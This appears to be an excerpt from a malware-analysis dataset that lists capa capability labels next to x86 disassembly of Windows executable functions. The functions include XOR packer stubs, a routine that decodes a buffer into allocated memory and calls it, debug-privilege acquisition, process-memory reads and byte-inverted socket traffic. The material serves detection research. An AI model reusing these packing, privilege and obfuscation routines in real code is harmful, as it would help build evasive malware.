joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401360
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x420b58
push eax
mov dword fs:[0], esp
mov eax, dword [0x846f4c]
sub esp, 0x820
push ebx
push esi
push edi
cmp eax, 0x93
jne 0x4013ee
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea eax, [ebp - 0x2c]
call fcn.00401670
push 0x422b30
push 0
mov dword [ebp - 4], 0
call fcn.00401b66
call fcn.004017be
push 0
push 0
call fcn.00401a97
push 0
push 0
call fcn.0040194d
push 0
push 0
call fcn.00401a97
add esp, 0x20
push 0
call fcn.00401e28
mov ecx, dword [0x427980]
add eax, 0x1134b
push eax
push 0
mov dword [0x8479b0], ecx
mov dword [0x846f4c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x846900], eax
call fcn.004012a0
xor esi, esi
cmp dword [0x846f4c], esi
jbe 0x40147d
mov edi, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
lea ecx, [ecx]
mov edx, dword [0x8479b0]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x846900]
mov byte [ecx + esi], al
cmp dword [0x846f4c], 0x490
jne 0x401474
push 0
push 0
call edi
push 0
push 0
lea edx, [ebp - 0x10]
push edx
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
inc esi
cmp esi, dword [0x846f4c]
jb 0x401430
mov edi, dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor esi, esi
mov eax, dword [0x846f4c]
add eax, esi
cmp eax, 0x8d
jne 0x4014b4
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push str.wutusahafofesohelasecisojagop
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x38681
jl 0x40148b
call fcn.00401200
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea ebx, [ebx]
push 0
call edi
cmp esi, 0x62
jne 0x4014de
call fcn.00401280
inc esi
cmp esi, 0x674db
jl 0x4014d0
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x846f4c], 0x86
jne 0x401537
push 0
lea ecx, [ebp - 0x82c]
push ecx
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
sub dword [ebp - 0x10], 1
jne 0x401500
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x846900]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409726
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004037b6
and dword [ebp - 4], 0
cmp dword [0x429338], 0
mov ebx, eax
jne 0x4097d7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409888
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409888
push eax
call fcn.00403744
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429338], eax
call esi
push eax
call fcn.00403744
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42933c], eax
call esi
push eax
call fcn.00403744
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x429340], eax
call esi
push eax
call fcn.00403744
pop ecx
mov dword [0x429348], eax
test eax, eax
je 0x4097d7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403744
pop ecx
mov dword [0x429344], eax
mov eax, dword [0x429344]
cmp eax, ebx
je 0x40982f
cmp dword [0x429348], ebx
je 0x40982f
push eax
call fcn.004037bf
push dword [0x429348]
mov esi, eax
call fcn.004037bf
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40982f
test edi, edi
je 0x40982f
call esi
test eax, eax
je 0x409826
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409826
test byte [ebp - 0xc], 1
jne 0x40982f
or dword [ebp + 0x10], 0x200000
jmp 0x409868
mov eax, dword [0x42933c]
cmp eax, ebx
je 0x409868
push eax
call fcn.004037bf
pop ecx
test eax, eax
je 0x409868
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409868
mov eax, dword [0x429340]
cmp eax, ebx
je 0x409868
push eax
call fcn.004037bf
pop ecx
test eax, eax
je 0x409868
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429338]
call fcn.004037bf
pop ecx
test eax, eax
je 0x409888
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40988a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x431072
nop
nop
nop
mov ebx, 0x40915c
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x7681e1e
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x431060
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4310d2
nop
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0xa4f2efe
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x4b2f2f21
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x14776144
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401aa0
Capabilities:
Check os version

Disassembly:
sub esp, 0x124
mov eax, dword [0x424044]
xor eax, esp
mov dword [esp + 0x120], eax
push ebx
push ebp
push esi
lea eax, [esp + 0x18]
push eax
mov esi, ecx
mov dword [esp + 0x1c], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [esp + 0x1c]
cmp eax, 5
jne 0x401b2d
mov eax, dword [esp + 0x20]
sub eax, 0
je 0x401b23
sub eax, 1
je 0x401b0c
sub eax, 1
je 0x401b02
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x120]
xor ecx, esp
call fcn.0040bc96
add esp, 0x124
ret
mov ebx, 0x8a
lea ebp, [ebx + 4]
jmp 0x401b48
push str.WinXP
call fcn.0040c4d5
mov ebx, 0x88
add esp, 4
lea ebp, [ebx + 4]
jmp 0x401b48
mov ebx, 0xa0
lea ebp, [ebx + 4]
jmp 0x401b48
cmp eax, 4
jne 0x401ae8
cmp dword [esp + 0x20], 0
jne 0x401ae8
cmp dword [esp + 0x28], 2
jne 0x401ae8
mov ebx, 0x98
lea ebp, [ebx + 4]
push esi
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x401ae8
push esi
call fcn.00401950
mov esi, eax
add esp, 4
test esi, esi
je 0x401ae8
mov ecx, dword [esi]
push edi
mov edi, dword [esi + 8]
push ecx
push str.process_id__u
call fcn.0040c4d5
push edi
push str.pEprocess__u
call fcn.0040c4d5
push esi
call fcn.0040c278
push str.ReadVirtualMemory
call fcn.0040c4d5
add esp, 0x18
lea eax, [edi + ebx]
lea ecx, [esp + 0x18]
call fcn.00401a10
test eax, eax
je 0x401c00
lea eax, [edi + ebp]
lea ecx, [esp + 0x10]
call fcn.00401a10
test eax, eax
je 0x401c0d
mov esi, dword [esp + 0x18]
lea edx, [esp + 0x10]
push edx
add esi, 4
call fcn.00401a50
add esp, 4
test eax, eax
je 0x401c0d
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
call fcn.00401a50
add esp, 4
test eax, eax
je 0x401c0d
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x401c0d
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x130]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bc96
add esp, 0x124
ret

Function at 0x401c30
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
push esi
push edi
lea eax, [esp + 0xc]
push eax
push 0x28
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401c78
mov edi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x401c78
lea esi, [esp + 0x10]
call fcn.004018b0
mov eax, dword [esp + 0xc]
test eax, eax
je 0x401c87
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x14
ret
Function at 0x406ec0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x406f42
cmp edi, eax
jle 0x406eed
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x406ee0
lea ebx, [edi + 7]
push ebx
call fcn.0040bead
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x425054]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x425058]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00413720
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x406f46
cmp eax, ebx
jne 0x406f46
mov dword [esp + 0xc], 1
jmp 0x406f46
mov esi, dword [esp + 0x14]
test esi, esi
je 0x406f53
push esi
call fcn.0040c278
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4070a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8e0
mov eax, dword [0x424044]
xor eax, esp
mov dword [esp + 0x8dc], eax
mov eax, dword [esp + 0x8e4]
push ebx
push esi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x8f0]
push edi
lea edi, [esp + 0xe8]
mov ebx, edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], edi
test eax, eax
je 0x4070e4
mov dword [esp + 0x10], eax
mov edi, eax
xor edx, edx
mov word [edi], dx
mov esi, dword [ebx]
xor eax, eax
mov dword [esp + 0xc], eax
test esi, esi
je 0x40722b
test ecx, ecx
je 0x40722b
push ebp
push 0xc7
push eax
mov byte [esp + 0x2c], al
lea eax, [esp + 0x2d]
push eax
call fcn.00412cf0
mov ebp, dword [sym.imp.WS2_32.dll_recv]
add esp, 0xc
push 0
push 2
lea ecx, [esp + 0x2c]
push ecx
push esi
call ebp
cmp eax, 0xffffffff
je 0x407281
test eax, eax
je 0x407281
movzx edi, word [esp + 0x24]
lea edx, [edi + 2]
push edx
xor esi, esi
call fcn.0040bead
add esp, 4
mov dword [esp + 0x18], eax
test edi, edi
jle 0x407215
jmp 0x407160
mov ecx, dword [esp + 0x18]
push 0
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebx]
lea edx, [esi + ecx]
push edx
push eax
call ebp
cmp eax, 0xffffffff
je 0x4071f4
test eax, eax
je 0x4071f4
add esi, eax
cmp edi, esi
jg 0x407160
cmp esi, 5
jl 0x407215
mov ecx, dword [0x425054]
mov edi, dword [esp + 0x18]
sub esi, 5
cmp ecx, dword [edi]
jne 0x40725c
mov dl, byte [edi + 4]
cmp dl, byte [0x425058]
jne 0x40725c
test esi, esi
jle 0x4071cc
lea eax, [edi + 5]
mov ecx, esi
lea esp, [esp]
mov dl, byte [eax]
not dl
mov byte [eax], dl
inc eax
sub ecx, 1
jne 0x4071c0
mov ebx, dword [esp + 0x20]
mov eax, dword [ebx]
add edi, 5
cmp eax, esi
jl 0x407243
mov eax, dword [esp + 0x1c]
push esi
push edi
push eax
call fcn.00413720
mov dword [ebx], esi
add esp, 0xc
mov dword [esp + 0x10], 1
jmp 0x407215
mov edx, dword [esp + 0x14]
mov eax, 0x420090
sub edx, eax
nop
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x407200
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x407226
push eax
call fcn.0040c278
add esp, 4
mov eax, dword [esp + 0x10]
pop ebp
mov ecx, dword [esp + 0x8e8]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040bc96
add esp, 0x8e0
ret
mov ecx, dword [esp + 0x1c]
push eax
push edi
push ecx
call fcn.00413720
add esp, 0xc
mov dword [esp + 0x10], 1
jmp 0x407215
mov edx, dword [esp + 0x14]
mov eax, 0x420090
sub edx, eax
jmp 0x407270
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x407270
jmp 0x407215
mov eax, 0x420090
mov edx, edi
sub edx, eax
lea ebx, [ebx]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x407290
jmp 0x407226
Function at 0xf63370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xf6338e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xf8c074
push ecx
mov edi, eax
call fcn.00f77198
mov esi, eax
add esp, 8
test esi, esi
jne 0xf633cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00f7702e
push esi
call fcn.00f76fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xf66850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xf668ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xf91720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xf668ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00f771e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xf668ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xf91720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xf6692a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00f78082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xf66957
mov word [eax], si
add eax, 2
push eax
call fcn.00f78030
add esp, 4
jmp 0xf66959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xf668ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xf668b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xf66ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xf67080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xf670c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xf8c458
push ecx
call fcn.00f771e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00f771e1
add esp, 0x10
jmp 0xf670d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00f7720b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00f76dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00f67050
mov eax, dword [0xf91728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xf6713b
push esi
call fcn.00f66fb0
add esp, 4
mov dword [0xf91728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xf6714c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00f66ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xf6a440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xf6a4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xf6a48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xf6a471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xf6a47e
add edx, ecx
cmp ebx, edx
jb 0xf6a48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xf6a467
xor ecx, ecx
jmp 0xf6a4a2
test eax, eax
jne 0xf6a492
xor ecx, ecx
jmp 0xf6a4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00f6a3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xf6a8f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xf6a921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xf6a946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xf6a96e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xf6a993
push ecx
push esi
call fcn.00f6a4c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0xf6bc00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0xf6bc4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0xf6bc2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0xf6bc38
add edx, eax
cmp ebx, edx
jb 0xf6bc46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0xf6bc21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0xf6bc50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0xf6bc70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xf6bcb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xf6bc9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xf6bca8
add edx, ecx
cmp ebx, edx
jb 0xf6bcb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0xf6bc91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0xf6bf60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00f78145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0xf6bffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0xf6bfdd
lea eax, [esp + 0x18]
push eax
jmp 0xf6bfe2
push 0xf91720
call fcn.00f77fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0xf6bfb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0xf6bf40
push 4
push ecx
push eax
call fcn.00f7843f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0xf6c310
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00f78145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0xf6c3ab
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0xf6c38d
lea eax, [esp + 0x18]
push eax
jmp 0xf6c392
push 0xf91720
call fcn.00f77fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0xf6c360
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0xf6bf40
push 4
push ecx
push eax
call fcn.00f7843f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret